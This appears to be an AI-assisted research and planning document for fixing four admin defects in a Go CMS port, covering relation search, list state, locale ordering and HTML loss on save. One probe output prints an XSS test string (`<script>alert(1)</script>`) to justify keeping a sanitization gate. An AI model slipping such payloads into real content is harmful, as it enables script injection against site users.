| D-03 | Post form shows the stored content and excerpt, and a save never destroys imported HTML | Root cause 1: the first enabled locale is `en`, and no `en` translations exist. Fix: default locale first in `meta.enabledLocales`. Root cause 2: `FormatHTML` drops raw HTML. Fix: `html.WithUnsafe()` plus the existing gate. 2 UAT posts already damaged; repair them after the deploy |
|
||||
| D-04 | Tag, bump, redeploy, smoke | Release mechanics: the host builds against the `../summercms.go` working tree through a replace. The bump is the journal submodule pointer. The new migration needs `bin/grzybyfunkcjonalne migrate` on the server |
|
||||
</phase_requirements>
|
||||
|
||||
## Project Constraints (from CLAUDE.md)
|
||||
|
||||
- Go 1.27, standard library first; add a dependency only when the research doc or a phase decision names it. **This phase adds none.** `github.com/yuin/goldmark/renderer/html` is a sub-package of goldmark v1.8.6, which sm-journal-plugin already requires.
|
||||
- `go vet` and `go test ./...` must be green at every commit.
|
||||
- Compiled plugins only; no runtime plugin loading.
|
||||
- API parity: do not "improve" Journal API response shapes. The `content`/`content_html` contract stays unchanged (todo file).
|
||||
- Unit tests are always the **last plan** of the phase. Before writing plans, present the plan count with one-line scopes (checkpoint).
|
||||
- Commits:
|
||||
- no co-author tags;
|
||||
- one logical change per commit;
|
||||
- planning docs and code in separate commits.
|
||||
- D-02 adds three rules for this phase:
|
||||
- cabana changes go in their own commits;
|
||||
- stage files by explicit path;
|
||||
- check for in-flight edits before touching shared cabana files.
|
||||
- A change to a `modules/` package's exported API, config keys, CLI commands or dependencies updates that module's `README.md` in the same change. It also updates the affected `docs/` pages (`docs/backend/lists-and-filters.md`). `go test ./cmd/summer -run TestDocsTree` and `summer docs:build --check` must pass. Every identifier named in docs must exist.
|
||||
- Framework READMEs never name a consuming application. Use `blog`/`acme`, not Journal or grzybyfunkcjonalne, in cabana or lagoon docs.
|
||||
- SPA changes: rebuild `modules/boardwalk/dist` (`npm --prefix admin run build`) and commit it (`scripts/check-admin-dist.sh` is the drift gate). Swag annotation changes: regenerate `admin/openapi/admin.json` and `admin/src/api/schema.d.ts` (`scripts/check-admin-openapi.sh`, `--check` to verify).
|
||||
- The PHP originals are not changed. Core plugin contracts (user, blog, pages, payment) stay unchanged.
|
||||
|
||||
## Summary
|
||||
|
||||
Each of the four UAT defects has one confirmed cause.
|
||||
|
||||
**(1) Relation search fails.** `applyListSearch` joins every searched relation with `db.Joins(field)` [VERIFIED: modules/cabana/query.go:351-357]. GORM's association `Joins` only fits to-one relations. On a many2many it emits `LEFT JOIN "golem15_journal_categories" "Categories" ON "golem15_journal_posts"."id" = "Categories"."post_id" AND "golem15_journal_posts"."category_id" = "Categories"."id"`, which is the UAT error, reproduced this session with a GORM v1.31.2 DryRun probe.
|
||||
|
||||
`applyListOrder` has the same bug for sorting by a to-many column (query.go:309). The code that ran on UAT is v0.1.15. Since v0.1.9, query.go only gained the to-many display join (`relatedSelectMany`). The bug is unchanged at HEAD.
|
||||
|
||||
The fix that matches Winter is a correlated `EXISTS` subquery per relation search term. Winter's Lists widget uses `orWhereHas` for search [VERIFIED: examples/golem15-wintercms-starter/modules/backend/widgets/Lists.php:529-531]. Build the subquery from GORM's own parsed relationship (`schema.Relationship.References` / `JoinTable`), not from guessed names.
|
||||
|
||||
**(2) List state is lost.** The list state already lives in the URL query (`search`, `sort`, `dir`, `page`, `per_page`, `filter[<name>]`) [VERIFIED: admin/src/app/listQuery.ts; modules/cabana/query.go:62-84]. The form's back link, close and save redirects, and the navigation all go to the bare list path (`go(listPath)`, FormView.vue:60/403/439), so the state is dropped.
|
||||
|
||||
There is no server session: admin auth is a stateless JWT cookie whose jti rotates on refresh. The table that would play this role in Winter, `backend_user_preferences`, was explicitly not ported in Phase 9; a test asserts it is absent. Recommendation: a small framework table `backend_list_states` keyed (user_id, controller), a `GET .../list-state` restore route, and a best-effort save inside the existing list handler after a successful query. ListView restores before its first load whenever it is entered with no list params.
|
||||
|
||||
**(3)+(4) The form shows empty content and excerpt.** The data is fine. On UAT, `golem15_translate_locales` has `en|f|t|1` and `pl|t|t|2`: en is enabled, sorted first, and not the default. There are **0** rows in `golem15_translate_attributes`. `EnabledLocales` returns codes `ORDER BY sort_order` → `["en","pl"]`. Every ML control opens on `locales[0]`, which is `en`, so the form shows the empty en values of title, slug, content and excerpt. The record heading hides this for the title, because it falls back to the first non-empty locale.
|
||||
|
||||
Fix in cabana: send the default locale first in `meta.enabledLocales`. This one server function fixes the form, the preview screen and relation child modals.
|
||||
|
||||
Separately, **saving destroys imported HTML**. `preparePostWrite` runs `classes.FormatHTML(post.Content)`, which is goldmark *without* `html.WithUnsafe()`. Probe this session: it turns all 100 imported pl bodies into `<!-- raw HTML omitted -->`. With `html.WithUnsafe()` it returns all 100 unchanged (trim-equal), and the existing 3-pattern gate still rejects script, iframe, event handlers and javascript/data URLs. This is PHP parity: Winter's `Markdown::parse` passes raw HTML through.
|
||||
|
||||
UAT already has **2 posts whose `content_html` was wiped at import**. They have no pl translation and raw HTML in the base content:
|
||||
- id 53 `czy-amanita-muscaria-jest-legalna` (draft);
|
||||
- id 64 `ekstrakt-z-turkey-tail` (**published**, missing its author footer).
|
||||
|
||||
Re-render both after the fix ships.
|
||||
|
||||
**Primary recommendation:** five changes, then release v0.1.16 and redeploy:
|
||||
1. cabana: relation search and sort through `EXISTS` and correlated subqueries built from `gorm.Statement.Parse` relationships.
|
||||
2. cabana: default locale first in `enabledLocales`.
|
||||
3. cabana and SPA: list-state table, restore route and ListView entry logic.
|
||||
4. sm-journal-plugin: `FormatHTML` with `html.WithUnsafe()` behind the existing gate.
|
||||
5. After the deploy: re-save posts 53 and 64.
|
||||
|
||||
## Architectural Responsibility Map
|
||||
|
||||
| Capability | Primary Tier | Secondary Tier | Rationale |
|
||||
|------------|-------------|----------------|-----------|
|
||||
| Relation search/sort SQL | API / Backend (cabana `query.go`) | Database (Postgres EXISTS) | Allowlisted SQL is built only server-side; the SPA sends only names |
|
||||
| List state persistence | API / Backend (cabana list handler + new route) | Database (`backend_list_states`) + Browser (ListView entry logic, URL) | D-01 asks for server storage; the URL stays the shareable source |
|
||||
| Restore-on-entry decision | Browser (ListView) | API (restore route sanitizes) | Only the SPA knows whether the list was entered from navigation or changed by the user |
|
||||
| ML default locale ordering | API / Backend (cabana `enabledContentLocales`) | Browser (MLField uses `[0]`) | A single server ordering fixes every SPA consumer of `meta.enabledLocales` |
|
||||
| content → content_html rendering | API / Backend (sm-journal-plugin `classes.FormatHTML`) | — | Shared by admin save, import and Journal API writes |
|
||||
| Release / deploy | Host repo + server ops | — | The host compiles the framework working tree through a replace |
|
||||
|
||||
## Standard Stack
|
||||
|
||||
### Core (all already in go.mod / package.json; versions read this session)
|
||||
| Library | Version | Purpose | Why Standard |
|
||||
|---------|---------|---------|--------------|
|
||||
| gorm.io/gorm | v1.31.2 | `gorm.Statement.Parse` → `schema.Relationship` (Type, References, JoinTable, FieldSchema) for the EXISTS builder | Already the ORM; its parsed relationship is the only reliable source of pivot/fk names [VERIFIED: probe output below] |
|
||||
| gorm.io/gorm/schema | v1.31.2 | `schema.Many2Many` ("many_to_many"), `schema.HasMany` ("has_many"), `schema.BelongsTo`, `schema.HasOne` | Relation type switch [VERIFIED: probe printed `type: many_to_many`, `has_many`] |
|
||||
| github.com/yuin/goldmark | v1.8.6 (sm-journal-plugin go.mod) | `goldmark.WithRendererOptions(html.WithUnsafe())` from `github.com/yuin/goldmark/renderer/html` | Same module, new import only [VERIFIED: probe compiled against the cached v1.8.6] |
|
||||
| gormigrate/v2 | v2.1.7 | New migration appended to `lagoon.BackendAdminMigrations` | Existing framework migration list (`summercms.cabana` history) [VERIFIED: modules/lagoon/backend_admin_migrations.go:21, migrations.go:75] |
|
||||
| vue-router | 5.1.0 | `router.replace` for restore, as ListView already does | Existing [VERIFIED: admin/package.json] |
|
||||
|
||||
### Alternatives Considered
|
||||
| Instead of | Could Use | Tradeoff |
|
||||
|------------|-----------|----------|
|
||||
| EXISTS per relation | `Joins` + `DISTINCT` / `GROUP BY` | Duplicate rows inflate `Count`, unqualified outer predicates (`id IN (...)` in Journal `FilterCategories`, `user_id = ?` in `restrictToOwnPosts`) become ambiguous; not Winter parity |
|
||||
| `backend_list_states` table | `backend_users.metadata` JSON key | metadata is Winter's TEXT jsonable copied at cutover (202610090001); read-modify-write races between tabs; pollutes a copied column |
|
||||
| `backend_list_states` table | Winter `backend_user_preferences` | Phase 9 D-01 left it unported and `backend_admin_migrations_test.go:116` asserts it is absent; reviving it reverses a decision and its non-unique `user_item_index` cannot back an upsert |
|
||||
| Server-side table | Browser `sessionStorage` | Contradicts D-01 ("server session") |
|
||||
| Default-locale-first in cabana | Reorder in sm-translate-plugin `AdminWriter.EnabledLocales` | Plugin-specific; any other TranslationWriter would keep the bug |
|
||||
| Default-locale-first | New `meta.defaultLocale` + SPA changes | More SPA surface and OpenAPI change; same user-visible result. Dropdown order changes from sort_order to default-first (cosmetic) |
|
||||
| `html.WithUnsafe()` | Detect HTML (`^\s*<`) and store as-is through `CheckHTML` | Heuristic, and post 64 is markdown with trailing raw HTML (would still be wiped); not PHP parity |
|
||||
|
||||
**Installation:** none, because no new modules are added.
|
||||
|
||||
## Package Legitimacy Audit
|
||||
|
||||
No external packages are installed. `github.com/yuin/goldmark/renderer/html` is a package inside the already-required `github.com/yuin/goldmark v1.8.6`. No npm packages are added.
|
||||
|
||||
**Packages removed due to [SLOP] verdict:** none
|
||||
**Packages flagged as suspicious [SUS]:** none
|
||||
|
||||
## Root-cause evidence
|
||||
|
||||
### Defect 1: relation search (D-02)
|
||||
|
||||
The search code [VERIFIED: modules/cabana/query.go:345-357, read this session]:
|
||||
```go
|
||||
field, ok := relationFieldName(model, col.Relation)
|
||||
physical := listRelationColumn(controller, col.Relation, col.Select)
|
||||
...
|
||||
// GORM aliases the joined association with the Go field name.
|
||||
table = field
|
||||
column = physical
|
||||
if _, done := joined[field]; !done {
|
||||
db = db.Joins(field)
|
||||
```
|
||||
The sort code does the same, `db = db.Joins(field)` [VERIFIED: query.go:309].
|
||||
|
||||
The Journal model declares the relation as `Categories []Category \`gorm:"many2many:golem15_journal_posts_categories;" json:"-"\`` [VERIFIED: sm-journal-plugin/models/post.go:34]. The posts list column is:
|
||||
```yaml
|
||||
categories:
|
||||
label: golem15.journal::lang.post.categories
|
||||
relation: categories
|
||||
select: name
|
||||
searchable: true
|
||||
sortable: false
|
||||
```
|
||||
[VERIFIED: sm-journal-plugin/models/post/columns.yaml]
|
||||
|
||||
GORM v1.31.2 DryRun probe (scratch module, same model shape), output pasted:
|
||||
```
|
||||
JOINS: SELECT count(*) FROM "golem15_journal_posts" LEFT JOIN "golem15_journal_categories" "Categories" ON "golem15_journal_posts"."id" = "Categories"."post_id" AND "golem15_journal_posts"."category_id" = "Categories"."id" WHERE LOWER(CAST("Categories"."name" AS TEXT)) LIKE '%x%'
|
||||
type: many_to_many jointable: golem15_journal_posts_categories
|
||||
ref: fk=golem15_journal_posts_categories.post_id pk=golem15_journal_posts.id ownPrimaryKey=true pvalue=""
|
||||
ref: fk=golem15_journal_posts_categories.category_id pk=golem15_journal_categories.id ownPrimaryKey=false pvalue=""
|
||||
hasmany type: has_many field schema: comments
|
||||
ref: fk=comments.post_id pk=golem15_journal_posts.id own=true
|
||||
```
|
||||
The error happens at `query.go:129`, the `Count`, which is the first statement executed.
|
||||
|
||||
The log names `summercms@v0.1.9`, but that is only the version sm-journal-plugin's go.mod *requires* (`git.golem15.com/golem15/summercms v0.1.9`). The code that ran is the `../summercms.go` working tree at 296b9cd, which descends from v0.1.15 with docs-only changes since. At HEAD, query.go differs from v0.1.9 only by `relatedSelectMany` (display), so **the bug is still present at HEAD**.
|
||||
|
||||
There are no uncommitted `modules/` edits right now. The checkout is 13 docs commits ahead of origin/master.
|
||||
|
||||
### Defect 2: list state (D-01)
|
||||
|
||||
- **URL params already exist.** `listQueryFromRequest` reads `search`, `sort`, `dir`, `page`, `per_page` and `filter[<name>]` (`listSearchTerm = "search"` [VERIFIED: modules/cabana/list_schema.go:20]; query.go:62-84). The SPA mirrors them in `parseListQuery`/`toListQuery` [VERIFIED: admin/src/app/listQuery.ts], and ListView changes them with `router.replace` (ListView.vue:114-116).
|
||||
- **Where the state is dropped.**
|
||||
- FormView: `const listPath = controllerPath(controllerId) ?? '/'` (FormView.vue:60), `await go(listPath)` after save (403), `await go(backPath.value)` for back (439).
|
||||
- The navigation and breadcrumb links use the bare controller path.
|
||||
- Browser Back works today. Every in-app return loses the state.
|
||||
- **ListView start-up.** It loads through `watch(() => listQueryKey(query.value), ..., { immediate: true })` (ListView.vue:146-153). The first request is fired at setup, before any restore could run.
|
||||
- **No server session.**
|
||||
- Login mints a JWT into an HttpOnly cookie (`auth.go` `writeSessionCookie`).
|
||||
- Refresh rotates the token and jti (`bouncer.RefreshAudienceFor`).
|
||||
- Logout only blacklists the jti.
|
||||
- Phase 9 left out Winter's preference table ("`backend_user_groups` and Winter's user-preference and access-log tables: not needed by any Golem15 plugin yet" [VERIFIED: .planning/phases/09-.../09-CONTEXT.md:126]), and `backend_admin_migrations_test.go:116` fails if `backend_user_preferences` exists.
|
||||
- **What Winter does.** It keeps sort (`putSession('sort', ...)`), search term (`putSession('term', ...)`), filter scopes and `lastVisitedPage` in the session, and per_page in user preferences [VERIFIED: Lists.php:233,289,1773; Search.php:158; Filter.php:959].
|
||||
|
||||
### Defects 3 and 4: empty content and excerpt (D-03)
|
||||
|
||||
Read-only UAT probe (ssh `grzybyfunkcjonalne-uat`, psql over the peer socket, SELECT only), output pasted:
|
||||
```
|
||||
code|is_default|is_enabled|sort_order
|
||||
en|f|t|1
|
||||
pl|t|t|2
|
||||
locale|model_type|count
|
||||
(0 rows)
|
||||
posts|content|html|excerpt|title|content_starts_html
|
||||
104|104|104|100|104|101
|
||||
```
|
||||
- **Where the order comes from.** The translate seed inserts `SELECT 'en', 'English', TRUE, TRUE, 1` and `SELECT 'pl', 'Polski', FALSE, TRUE, 2` [VERIFIED: sm-translate-plugin/updates/202610060005_seed_en_pl_locales.go:13-18]. migrate.sh only runs `UPDATE golem15_translate_locales SET is_default = (code = 'pl')` (scripts/migrate.sh:173), so en stays enabled and first.
|
||||
- **The writer keeps that order.** `AdminWriter.EnabledLocales` runs `Where("is_enabled = ?", true).Order("sort_order asc")` [VERIFIED: sm-translate-plugin/classes/admin_writer.go:31-35], and cabana copies the result into the form schema (`view.Meta.EnabledLocales = append([]string(nil), codes...)`, http.go:727-729).
|
||||
- **The server sends the right data.** `hydrateMLRecord` puts the host column under the default locale (`if code == defaultLocale { out[code] = host`, field_ml.go:208-211). An en key with no stored translation is `out[code] = ""` (field_ml.go:217-219).
|
||||
- **The SPA opens on the wrong locale.**
|
||||
- `const activeLocale = ref(locales.value[0] ?? 'en')` (MLField.vue:30).
|
||||
- `function firstMLLocale(): string { return schemaEnabledLocales(schema.value?.meta)[0] ?? 'en' }` (FormView.vue:227-229).
|
||||
- So every ML control (title, slug, content and excerpt) opens on `en`, which is empty. The user reported only content and excerpt, but title and slug are empty in the inputs as well.
|
||||
|
||||
**Data loss on save.**
|
||||
- The save path: `html, err := classes.FormatHTML(post.Content)` … `post.ContentHTML = html` (sm-journal-plugin/controllers/posts.go:213-219). The engine is `goldmark.New(goldmark.WithExtensions(extension.Footnote, extension.Table), goldmark.WithParserOptions(parser.WithAttribute()))`, with no unsafe renderer (classes/format_html.go:15-18).
|
||||
- PHP parity: `formatHtml` stores `trim($input)` when `use_rich_editor` is on, otherwise `Markdown::enableFootnotes()->enableAttributes()->enableTables()->parse(trim($input))`, then `Html::clean` [VERIFIED: grzybyfunkcjonalne.pl/plugins/golem15/journal/models/Post.php:185-208]. Winter's Markdown passes raw HTML through [ASSUMED: Parsedown default, not re-read this session; consistent with the export, where 83/100 pl `content_html` equal `content` byte for byte and the other 17 differ only by `"` → `"`].
|
||||
- Probe over the 100 pl bodies of the journal export (goldmark v1.8.6, the same options), output pasted:
|
||||
```
|
||||
total=100 safe_omitted=100 unsafe_exact=0 unsafe_trim_equal=100
|
||||
sample safe="<!-- raw HTML omitted -->\n"
|
||||
sample unsafe="<p>a</p>\n<p>b</p>"
|
||||
md unsafe="<h1>T</h1>\n<p>text <b>x</b></p>\n<script>alert(1)</script>"
|
||||
```
|
||||
The last line shows why the existing `rejectUnsafe` gate must stay after the unsafe render. None of the 105 export bodies match any of the three gate patterns, so no imported post will be refused on save.
|
||||
|
||||
**Already damaged on UAT** (read-only probe):
|
||||
```
|
||||
wiped|edited_after_import|admins
|
||||
2|0|1
|
||||
id 53 czy-amanita-muscaria-jest-legalna published=f content_html = <!-- raw HTML omitted -->
|
||||
id 64 ekstrakt-z-turkey-tail published=t content_html ends with 3x <!-- raw HTML omitted --> (author <footer> + <style>)
|
||||
```
|
||||
Both come from export files with `"translations": []`: base content containing raw HTML went through the safe `FormatHTML` at import (console/import_posts.go:185). Probe with the unsafe renderer:
|
||||
- `czy-amanita-muscaria-jest-legalna`: gate passes, equal to the PHP `content_html` after whitespace normalization.
|
||||
- `ekstrakt-z-turkey-tail`: gate passes, includes `<footer` and `<style>`, 5643 vs 5655 bytes against PHP.
|
||||
|
||||
## Architecture Patterns
|
||||
|
||||
### System Architecture Diagram
|
||||
|
||||
```
|
||||
Admin SPA (ListView) cabana API (Go) Postgres
|
||||
──────────────────── ─────────────── ────────
|
||||
enter list route ──► query empty? ──yes──► GET .../list-state ──► protect() ─► load row(user,ctl)
|
||||
│ │ sanitize vs compiled schema ─► backend_list_states
|
||||
│ │◄──────── {search,sort,dir,page,per_page,filter} ◄──┘
|
||||
│ ├─ non-empty ─► router.replace(query) ─┐
|
||||
│ no / empty stored │
|
||||
▼ ▼
|
||||
user changes search/sort/filter/page ─► router.replace ─► GET /{v}/{p}/{c}?search&sort&dir&page&per_page&filter[x]
|
||||
│
|
||||
├─ ExecuteList: ListExtendQuery → applyListSearch
|
||||
│ own column: LOWER(CAST(t.col AS TEXT)) LIKE ?
|
||||
│ relation col: EXISTS (SELECT 1 FROM pivot p JOIN rel r ...
|
||||
│ WHERE p.owner_fk = t.pk AND LOWER(...) LIKE ?)
|
||||
│ → applyListFilters → Count → applyListOrder → Preload → Find
|
||||
├─ on success: upsert state(user, controller) if changed (best effort)
|
||||
└─► rows + meta
|
||||
|
||||
FormView (back / save / close) ─► go(listPath) (bare path) ─► ListView entry ─► restore path above
|
||||
```
|
||||
|
||||
### Recommended file touch map
|
||||
```
|
||||
summercms.go/
|
||||
├── modules/cabana/query.go # EXISTS search + to-many sort subquery (D-02)
|
||||
├── modules/cabana/list_state.go # NEW: store/load/sanitize list state (D-01)
|
||||
├── modules/cabana/http.go # list(): save after success; new GET .../list-state route; enabledContentLocales default-first (D-03)
|
||||
├── modules/cabana/admin_openapi.go # swag doc for the new route
|
||||
├── modules/lagoon/backend_admin_migrations.go # NEW migration backend_list_states
|
||||
├── modules/cabana/README.md, modules/lagoon/README.md, docs/backend/lists-and-filters.md
|
||||
├── admin/src/views/ListView.vue # entry restore, non-immediate watch, page clamp
|
||||
├── admin/openapi/admin.json, admin/src/api/schema.d.ts # regenerated
|
||||
└── modules/boardwalk/dist/ # rebuilt SPA
|
||||
sm-journal-plugin/
|
||||
├── classes/format_html.go # html.WithUnsafe() + existing gate
|
||||
└── README.md (admin re-save note)
|
||||
sm-grzybyfunkcjonalne-app/
|
||||
├── plugins/golem15/journal (submodule pointer), README.md + DEPLOY.md (drop the "do not re-save" warning)
|
||||
```
|
||||
|
||||
### Pattern 1: relation search through EXISTS (generic, Winter `orWhereHas` parity)
|
||||
|
||||
**What:** for each searchable column with `relation:`, emit one `EXISTS (...)` term inside the existing OR group instead of `db.Joins(field)`. Read the relationship from GORM's schema parse. Validate the selected column against the related schema.
|
||||
|
||||
**When to use:** every relation type in **search**. For **sort**, keep `Joins` for `belongs_to`/`has_one`, which works and is tested (`artist` column in query_test.go). Use a correlated scalar subquery for `has_many`/`many_to_many`.
|
||||
|
||||
GORM wraps an OR expression in parentheses when it is combined with other `Where`s. Verified by DryRun:
|
||||
```
|
||||
SELECT count(*) FROM "golem15_journal_posts" WHERE user_id = 3 AND (LOWER(CAST("golem15_journal_posts"."title" AS TEXT)) LIKE '%x%' ESCAPE '\' OR EXISTS (SELECT 1 FROM "golem15_journal_posts_categories" AS "p0" JOIN "golem15_journal_categories" AS "r0" ON "r0"."id" = "p0"."category_id" WHERE "p0"."post_id" = "golem15_journal_posts"."id" AND LOWER(CAST("r0"."name" AS TEXT)) LIKE '%x%' ESCAPE '\')) AND published = true
|
||||
```
|
||||
|
||||
Skeleton, using cabana's existing `qualifiedColumn`, `quotedIdent`, `identifier`, `tableName` and `listInvalid` helpers. The relationship API names come from the probe; the shape is a sketch:
|
||||
```go
|
||||
// relationExists returns "EXISTS (...)" matching LOWER(CAST(rel.column AS TEXT)) LIKE ?
|
||||
// for the relation behind Go field `field`, correlated to the main table.
|
||||
func relationExists(db *gorm.DB, model any, field, column string, n int) (string, error) {
|
||||
stmt := &gorm.Statement{DB: db}
|
||||
if err := stmt.Parse(model); err != nil {
|
||||
return "", err
|
||||
}
|
||||
rel, ok := stmt.Schema.Relationships.Relations[field]
|
||||
if !ok || rel.FieldSchema == nil || rel.FieldSchema.LookUpField(column) == nil {
|
||||
return "", listInvalid("search", "is not searchable")
|
||||
}
|
||||
main := tableName(model) // the unaliased outer FROM table
|
||||
r := fmt.Sprintf("cabana_r%d", n) // alias: safe for self-referencing relations
|
||||
match := fmt.Sprintf("LOWER(CAST(%s AS TEXT)) LIKE ? ESCAPE '\\'", qualifiedColumn(db, r, column))
|
||||
var on, where []string
|
||||
switch rel.Type {
|
||||
case schema.Many2Many:
|
||||
p := fmt.Sprintf("cabana_p%d", n)
|
||||
for _, ref := range rel.References {
|
||||
if ref.OwnPrimaryKey { // pivot.owner_fk = main.pk
|
||||
where = append(where, qualifiedColumn(db, p, ref.ForeignKey.DBName)+" = "+qualifiedColumn(db, main, ref.PrimaryKey.DBName))
|
||||
} else { // pivot.related_fk = related.pk
|
||||
on = append(on, qualifiedColumn(db, p, ref.ForeignKey.DBName)+" = "+qualifiedColumn(db, r, ref.PrimaryKey.DBName))
|
||||
}
|
||||
}
|
||||
return fmt.Sprintf("EXISTS (SELECT 1 FROM %s AS %s JOIN %s AS %s ON %s WHERE %s AND %s)",
|
||||
quotedIdent(db, rel.JoinTable.Table), quotedIdent(db, p),
|
||||
quotedIdent(db, rel.FieldSchema.Table), quotedIdent(db, r),
|
||||
strings.Join(on, " AND "), strings.Join(where, " AND "), match), nil
|
||||
case schema.HasMany, schema.HasOne: // related.fk = main.pk
|
||||
for _, ref := range rel.References {
|
||||
where = append(where, qualifiedColumn(db, r, ref.ForeignKey.DBName)+" = "+qualifiedColumn(db, main, ref.PrimaryKey.DBName))
|
||||
}
|
||||
case schema.BelongsTo: // related.pk = main.fk
|
||||
for _, ref := range rel.References {
|
||||
where = append(where, qualifiedColumn(db, r, ref.PrimaryKey.DBName)+" = "+qualifiedColumn(db, main, ref.ForeignKey.DBName))
|
||||
}
|
||||
default:
|
||||
return "", listInvalid("search", "is not searchable")
|
||||
}
|
||||
return fmt.Sprintf("EXISTS (SELECT 1 FROM %s AS %s WHERE %s AND %s)",
|
||||
quotedIdent(db, rel.FieldSchema.Table), quotedIdent(db, r), strings.Join(where, " AND "), match), nil
|
||||
}
|
||||
```
|
||||
Notes for the planner:
|
||||
- **Polymorphic references.** A reference with `ref.PrimaryValue != ""` needs an extra bound `= ?` condition. Refuse polymorphic relations with `listInvalid` in this phase unless a test covers them [ASSUMED: GORM polymorphic reference semantics, not probed].
|
||||
- **Soft deletes.** If the related schema has a `gorm.DeletedAt` field, add `AND r.deleted_at IS NULL`. Winter's `whereHas` applies the related model's SoftDelete scope [ASSUMED].
|
||||
- **Parse cache.** `stmt.Parse` uses `db.cacheStore`, so the parse is cached.
|
||||
- **Sort for to-many.** Use `ORDER BY (SELECT string_agg(CAST(r.col AS TEXT), ', ') FROM ... correlated ...) ASC|DESC` with `clause.OrderBy{Expression: clause.Expr{SQL: ...}}`. This mirrors Winter, which sorts on the `group_concat(...)` sub-select [VERIFIED: Lists.php:568-570] and on the comma-joined value `relatedSelectMany` displays. The `sortable` default is true for relation columns (docs/backend/lists-and-filters.md:62), so any other plugin's to-many column crashes on sort today.
|
||||
|
||||
### Pattern 2: list state (D-01), recommended design
|
||||
|
||||
**Server side (cabana):**
|
||||
1. **Migration.** Append to `lagoon.BackendAdminMigrations`, ID `"202610100001_backend_list_states"` (follow the `YYYYMMDDNNNN_` pattern of `202610090001_backend_users_metadata`):
|
||||
```sql
|
||||
CREATE TABLE IF NOT EXISTS backend_list_states (
|
||||
user_id INTEGER NOT NULL REFERENCES backend_users(id) ON DELETE CASCADE,
|
||||
controller TEXT NOT NULL,
|
||||
state TEXT NOT NULL,
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
PRIMARY KEY (user_id, controller)
|
||||
)
|
||||
```
|
||||
- `backend_users.id` is `SERIAL` [VERIFIED: backend_admin_migrations.go:36-37].
|
||||
- Use `state TEXT`, matching the backend tables' TEXT-for-JSON convention (`metadata TEXT`, `permissions TEXT`).
|
||||
- The table name avoids reviving Winter's `backend_user_preferences`, which the Phase 9 test prohibits.
|
||||
2. **Store shape.** The same JSON shape as the SPA's `ListQuery`: `{"search":..., "sort":..., "dir":..., "page":..., "per_page":..., "filter":{...}}`. Write it with `INSERT ... ON CONFLICT (user_id, controller) DO UPDATE` (gorm `clause.OnConflict`). Skip the write when the stored state is equal. Cap the stored JSON size (for example 4 KiB) and drop oversize state.
|
||||
3. **Save (URL wins).** In `service.list`, after `ExecuteList` returns no error, save the request's validated `ListInput` for `(principal.ID, controllerID(cc))`. A save failure is logged with `slog` and does not fail the list. A 422 or 500 list request never saves.
|
||||
4. **Restore.**
|
||||
- Route: `g.Get("/{vendor}/{plugin}/{controller}/list-state", s.listState)` + `constrainController(g)`, through `protect()`, so permission is checked before SQL.
|
||||
- Response: `{data: <ListQuery>}`, `{}` when there is none.
|
||||
- Sanitize the stored state against the *current* compiled schema before returning it, reusing `normalizePage`, `normalizeSort`, the filter allowlist and the `switchArgument`/`parseDateRange`/`scopeArgument` checks. Drop each invalid part; never 422. A stored filter that a later deploy removed must not break the list forever.
|
||||
- Order: register the literal route before the `/{id}` show route. ServeMux would pick the literal anyway, but put it next to `schema/list` for readability.
|
||||
5. **OpenAPI.**
|
||||
- Add a swag block `AdminListState` for the new route.
|
||||
- Add one sentence to `AdminList`'s `@Description` ("a successful list request stores its query as the administrator's list state").
|
||||
- Regenerate with `scripts/check-admin-openapi.sh`.
|
||||
6. **Logout.** Keep the state across logins by default (see Assumption A1). If the user wants Winter's session-only semantics, delete the user's rows in `service.logout`.
|
||||
|
||||
**SPA side (ListView.vue):**
|
||||
1. **Entry.** Replace the `immediate: true` watch with an explicit entry routine. If `parseListQuery(route.query)` is empty, `await api.GET('/{vendor}/{plugin}/{controller}/list-state')`. If the result is non-empty, `router.replace({ path: route.path, query: toListQuery(state) })` and let the (non-immediate) watch load. Otherwise call `loadList()`. **Never fire an empty list request before the restore decision**: under "save on success", that request would overwrite the stored state with empty.
|
||||
2. **Same-path re-entry.** ListView is keyed by route path, so clicking the nav item while already on the list with filters changes only the query to `{}`. Remember the key of the last query this view set itself in `replaceQuery`. When the watch sees an empty query that the view did not set, run the entry restore instead of loading empty.
|
||||
3. **User clears everything.** `replaceQuery` produces `{}`. The key matches the view's own → `loadList()` with no params → the server saves the empty state. Clearing works with no marker param.
|
||||
4. **Page out of range** after restore (records deleted): if `meta.last_page >= 1 && meta.page > meta.last_page`, `replaceQuery({ ...query, page: meta.last_page })`.
|
||||
5. **FormView needs no change.** Its bare `listPath` navigation now restores.
|
||||
|
||||
### Pattern 3: ML default locale first (D-03)
|
||||
|
||||
In `service.enabledContentLocales` (modules/cabana/http.go:966-983), call `writer.DefaultLocale(ctx, db)` and move that code to index 0, keeping the remaining codes in sort_order. If `DefaultLocale` errors, keep the order and log. This changes three things:
|
||||
- MLField's initial `activeLocale`;
|
||||
- FormView's `firstMLLocale()`;
|
||||
- `mergeMLValue`'s fallback for a bare host string, and `recordDisplayName`'s preferred locale. These read `enabledLocales[0]` (formState.ts:205-218, 225-247), so they become the default locale too.
|
||||
|
||||
`liftMLValues`/`hydrateMLRecord` call `writer.EnabledLocales` directly and do not depend on order.
|
||||
|
||||
### Pattern 4: lossless content_html (D-03, sm-journal-plugin)
|
||||
|
||||
```go
|
||||
import "github.com/yuin/goldmark/renderer/html"
|
||||
|
||||
markdownEngine = goldmark.New(
|
||||
goldmark.WithExtensions(extension.Footnote, extension.Table),
|
||||
goldmark.WithParserOptions(parser.WithAttribute()),
|
||||
goldmark.WithRendererOptions(html.WithUnsafe()), // Winter Markdown::parse passes raw HTML; rejectUnsafe still gates it
|
||||
)
|
||||
```
|
||||
- `FormatHTML` keeps `rejectUnsafe(html)` after the render, unchanged. `CheckHTML` is unchanged.
|
||||
- The one change covers all three write paths: admin save (`preparePostWrite`), import (`console/import_posts.go:185`) and the Journal API writes (`controllers/api/posts_helpers.go:511,567,768`).
|
||||
- The response shapes are unchanged (API parity).
|
||||
- Do **not** change `cabana.RenderMarkdown` (the admin preview, `field_markdown.go:21-31`). Its output goes into the SPA via `v-html`, and its "no unsafe HTML" rule is a framework security choice. The HTML preview gap belongs to 16.2's Blog Editor.
|
||||
|
||||
### Anti-Patterns to Avoid
|
||||
- **`Joins(field)` for to-many relations.** It builds a broken ON clause for many2many and duplicates rows for has_many.
|
||||
- **Guessing pivot or foreign-key names** (`<model>_id`). Read them from `schema.Relationship`. The README says "Framework code never guesses table, pivot or foreign-key names."
|
||||
